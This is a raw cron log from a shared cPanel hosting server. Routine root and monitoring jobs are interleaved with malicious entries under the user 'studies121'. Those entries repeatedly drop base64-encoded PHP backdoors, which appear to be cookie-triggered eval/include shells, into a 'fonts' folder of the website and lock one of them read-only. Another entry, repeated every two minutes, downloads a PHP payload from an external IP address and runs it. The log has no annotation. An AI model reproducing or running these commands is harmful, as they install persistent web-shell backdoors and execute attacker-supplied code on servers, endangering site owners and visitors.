Sep 21 08:17:02 ip-184-168-122-23 CROND[22087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:17:02 ip-184-168-122-23 CROND[22088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:18:01 ip-184-168-122-23 CROND[22205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:18:01 ip-184-168-122-23 CROND[22206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:18:01 ip-184-168-122-23 CROND[22209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:18:01 ip-184-168-122-23 CROND[22208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:18:01 ip-184-168-122-23 CROND[22210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:19:01 ip-184-168-122-23 CROND[22333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:19:01 ip-184-168-122-23 CROND[22335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:19:01 ip-184-168-122-23 CROND[22340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:19:01 ip-184-168-122-23 CROND[22339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:20:01 ip-184-168-122-23 CROND[22581]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 08:20:01 ip-184-168-122-23 CROND[22582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:20:01 ip-184-168-122-23 CROND[22585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:20:01 ip-184-168-122-23 CROND[22586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:20:01 ip-184-168-122-23 CROND[22588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 08:20:01 ip-184-168-122-23 CROND[22589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:20:01 ip-184-168-122-23 CROND[22591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:20:01 ip-184-168-122-23 CROND[22590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:20:01 ip-184-168-122-23 CROND[22592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:21:01 ip-184-168-122-23 CROND[22802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:21:01 ip-184-168-122-23 CROND[22806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:21:01 ip-184-168-122-23 CROND[22805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:21:01 ip-184-168-122-23 CROND[22804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:22:01 ip-184-168-122-23 CROND[22929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:22:01 ip-184-168-122-23 CROND[22931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:22:01 ip-184-168-122-23 CROND[22934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:22:01 ip-184-168-122-23 CROND[22932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:22:01 ip-184-168-122-23 CROND[22933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:23:01 ip-184-168-122-23 CROND[23113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:23:01 ip-184-168-122-23 CROND[23115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:23:01 ip-184-168-122-23 CROND[23117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:23:01 ip-184-168-122-23 CROND[23116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:24:01 ip-184-168-122-23 CROND[23222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:24:01 ip-184-168-122-23 CROND[23223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:24:01 ip-184-168-122-23 CROND[23224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:24:01 ip-184-168-122-23 CROND[23225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:24:01 ip-184-168-122-23 CROND[23229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:25:01 ip-184-168-122-23 CROND[23380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:25:01 ip-184-168-122-23 CROND[23384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:25:01 ip-184-168-122-23 CROND[23382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:25:01 ip-184-168-122-23 CROND[23383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:25:01 ip-184-168-122-23 CROND[23386]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 08:25:01 ip-184-168-122-23 CROND[23385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:25:01 ip-184-168-122-23 CROND[23387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:26:01 ip-184-168-122-23 CROND[23630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:26:01 ip-184-168-122-23 CROND[23631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:26:01 ip-184-168-122-23 CROND[23634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:26:01 ip-184-168-122-23 CROND[23635]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 21 08:26:01 ip-184-168-122-23 CROND[23636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:26:01 ip-184-168-122-23 CROND[23640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 21 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 21 08:27:01 ip-184-168-122-23 CROND[23833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:27:01 ip-184-168-122-23 CROND[23836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:27:01 ip-184-168-122-23 CROND[23835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:27:01 ip-184-168-122-23 CROND[23837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:28:01 ip-184-168-122-23 CROND[23950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:28:01 ip-184-168-122-23 CROND[23953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:28:01 ip-184-168-122-23 CROND[23954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:28:01 ip-184-168-122-23 CROND[23955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:28:01 ip-184-168-122-23 CROND[23956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:29:01 ip-184-168-122-23 CROND[24096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:29:01 ip-184-168-122-23 CROND[24098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:29:01 ip-184-168-122-23 CROND[24099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
